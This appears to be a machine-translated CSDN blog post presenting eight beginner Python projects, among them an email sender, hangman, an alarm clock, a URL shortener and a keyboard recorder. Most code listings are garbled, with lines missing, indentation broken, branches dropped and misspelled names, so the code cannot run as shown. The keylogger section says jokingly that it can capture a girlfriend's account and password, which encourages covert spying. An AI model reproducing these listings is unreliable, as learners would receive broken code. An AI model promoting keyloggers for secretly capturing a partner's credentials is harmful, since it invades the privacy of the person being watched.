Eight classic projects suitable for Python practice are interesting and practical. It is necessary to improve python programming ability!


Hello, CSDN friends! I'm Marmon!

Several articles have been posted before, although they have brought me a lot of fans, But it also brought some disputes (people with low self-esteem dare not reply...)! The big man in the screenshot below probably hasn't read my previous articles. I just have a new man who has just changed his career for less than a year. I share some of my own learning experience. It's true that I haven't reached the annual salary of more than 400000 as the big man said, but I'm still working hard. I also hope to bring you a lot through my sharing Some positive energy, friends who give up the edge see it, and friends who can continue to insist and work hard see it, they can become better!

In fact, I am also very grateful to the boss for his criticism. My title is indeed exaggerated. I try my best to correct it. There are other places that are not good enough. All friends are also welcome to criticize and guide.

In addition, what I share with you today are some small cases of practical practice. If you are still Python Xiaobai, you can look at my previous articles. If you have a little foundation, try to complete the following cases!

1, Send mail automatically

Write a script that can send e-mail in Python.

Tip: the email library can be used to send e-mail.

import smtplib 
from email.message import EmailMessage
email = EmailMessage() ## Creating a object for EmailMessage
email['from'] = 'xyz name'   ## Person who is sending
email['to'] = 'xyz id'       ## Whom we are sending
email['subject'] = 'xyz subject'  ## Subject of email
email.set_content("Xyz content of email") ## content of email
with smtlib.SMTP(host='smtp.gmail.com',port=587)as smtp:     
## sending request to server 
    smtp.ehlo()          ## server object
smtp.starttls()      ## used to send data between server and client
smtp.login("email_id","Password") ## login id and password of gmail   
smtp.send_message(email)   ## Sending email
print("email send")    ## Printing success message

2, Hangman (word guessing game)

Create a simple hangman word guessing game in Python.

Tip: create a list of password words and select a word at random. Underline each word with "" and let the user guess the word. If the user guesses correctly, it will replace "" with a word.

import time
import random
name = input("What is your name? ")
print ("Hello, " + name, "Time to play hangman!")
print ("Start guessing...\n")
## A List Of Secret Words
words = ['python','programming','treasure','creative','medium','horror']
word = random.choice(words)
guesses = ''
turns = 5
while turns > 0:         
    failed = 0             
    for char in word:      
        if char in guesses:    
            print (char,end="")    
            print ("_",end=""),     
            failed += 1    
    if failed == 0:        
        print ("\nYou won") 
    guess = input("\nguess a character:") 
    guesses += guess                    
    if guess not in word:  
        turns -= 1        
        print("\nYou have", + turns, 'more guesses') 
        if turns == 0:           
            print ("\nYou Lose") 

3, Alarm clock

Write a script to create an alarm clock in Python.

Tip: use the date time module to create an alarm clock, and then use the playsound library to play the sound.

from datetime import datetime   
from playsound import playsound
alarm_time = input("Enter the time of alarm to be set:HH:MM:SS\n")
alarm_period = alarm_time[9:11].upper()
print("Setting up alarm..")
while True:
    now = datetime.now()
    current_hour = now.strftime("%I")
    current_minute = now.strftime("%M")
    current_seconds = now.strftime("%S")
    current_period = now.strftime("%p")
                    print("Wake Up!")
                    playsound('audio.mp3') ## download the alarm sound from link

4, Stone scissors paper game

Create a stone scissors paper game, players and computer PK. If the player wins, the score will be added to see who gets the highest score.

Tip: first judge the player's choice, and then compare it with the computer's choice. The choice of the computer is randomly selected from the selection list. If the player wins, 1 point will be added.

import random
choices = ["Rock", "Paper", "Scissors"]
computer = random.choice(choices)
player = False
cpu_score = 0
player_score = 0
while True:
    player = input("Rock, Paper or  Scissors?").capitalize()
    # Judge the choice of computer and player
    if player == computer:
    elif player == "Rock":
        if computer == "Paper":
            print("You lose!", computer, "covers", player)
            print("You win!", player, "smashes", computer)
    elif player == "Paper":
        if computer == "Scissors":
            print("You lose!", computer, "cut", player)
            print("You win!", player, "covers", computer)
    elif player == "Scissors":
        if computer == "Rock":
            print("You lose...", computer, "smashes", player)
            print("You win!", player, "cut", computer)
    elif player=='E':
        print("Final Scores:")
        print("That's not a valid play. Check your spelling!")
    computer = random.choice(choices)

5, Reminder gadget

Use a reminder widget in Python to make a reminder notification on the desktop at a set time.

Tip: the Time module can be used to track the reminder Time, and the toast notifier library can be used to display the desktop notification.

Installation: win10toast

from win10toast import ToastNotifier
import time
toaster = ToastNotifier()
    print("Title of reminder")
    header = input()
    print("Message of reminder")
    text = input()
    print("In how many minutes?")
    time_min = input()
    header = input("Title of reminder\n")
    text = input("Message of remindar\n")
    time_min=float(input("In how many minutes?\n"))
time_min = time_min * 60
print("Setting up reminder..")
print("all set!")
while toaster.notification_active(): time.sleep(0.005)     

6, Article reader

Write a script in Python to automatically read articles from the provided links.

import pyttsx3
import requests
from bs4 import BeautifulSoup
url = str(input("Paste article url\n"))

def content(url):
  res = requests.get(url)
  soup = BeautifulSoup(res.text,'html.parser')
  articles = []
  for i in range(len(soup.select('.p'))):
    article = soup.select('.p')[i].getText().strip()
    contents = " ".join(articles)
  return contents
engine = pyttsx3.init('sapi5')
voices = engine.getProperty('voices')
engine.setProperty('voice', voices[0].id)

def speak(audio):

contents = content(url)
## print(contents)      ## In case you want to see the content

#engine.runAndWait() ## In case if you want to save the article as a audio file

7, Short URL generator

Write a script in Python to realize the function of shortening the specified URL with API.

from __future__ import with_statement
import contextlib
    from urllib.parse import urlencode
except ImportError:
    from urllib import urlencode
    from urllib.request import urlopen
except ImportError:
    from urllib2 import urlopen
import sys

def make_tiny(url):
    request_url = ('http://tinyurl.com/api-create.php?' + 
    with contextlib.closing(urlopen(request_url)) as response:
        return response.read().decode('utf-8')

def main():
    for tinyurl in map(make_tiny, sys.argv[1:]):

if __name__ == '__main__':

8, Keyboard recorder

Write a script in Python to record the keys pressed by the user on the keyboard and save them in a text file.

Tip: to control the movement of keyboard and mouse, we have to recommend pynput. It can also be used to make keyboard recorder, read the pressed keys, and then save them in a text file. (cough, you can study hard if you want to know your girlfriend's account and password)

from pynput.keyboard import Key, Controller,Listener
import time
keyboard = Controller()

def on_press(key):
    global keys
    string = str(key).replace("'","")
    main_string = "".join(keys)
    if len(main_string)>15:
      with open('keys.txt', 'a') as f:
          keys= []     
def on_release(key):
    if key == Key.esc:
        return False

with listener(on_press=on_press,on_release=on_release) as listener:


Today's sharing is a little difficult (for novices). If you are still a pure Python novice, it is recommended to take a look at my previous articles for some introductory learning, and then do practical operation in combination with the cases shared in this article.

A good memory is not as good as a bad pen. You can't swim when you stand on the shore, so if you want to really learn a programming language, you have to practice, practice and practice!

A full set of introductory tutorials and exercises for Python foundation are put on the online disk. Friends in need can take them away directly!
Link: https://pan.baidu.com/s/1sVwTCM4Ew7JA2KX2al5w1Q
Extraction code: 8888

In addition, if you have any questions and suggestions, you can comment or write to me below. I will do my best to help you with your learning problems! Just hope to get everyone's praise, attention and collection! Thank you very much!!

(collect the handsome three generations, praise the rich life, and comment that happiness will always accompany)

Keywords: Python Programmer AI Game Development

Added by Liam-PHP on Fri, 31 Dec 2021 21:49:18 +0200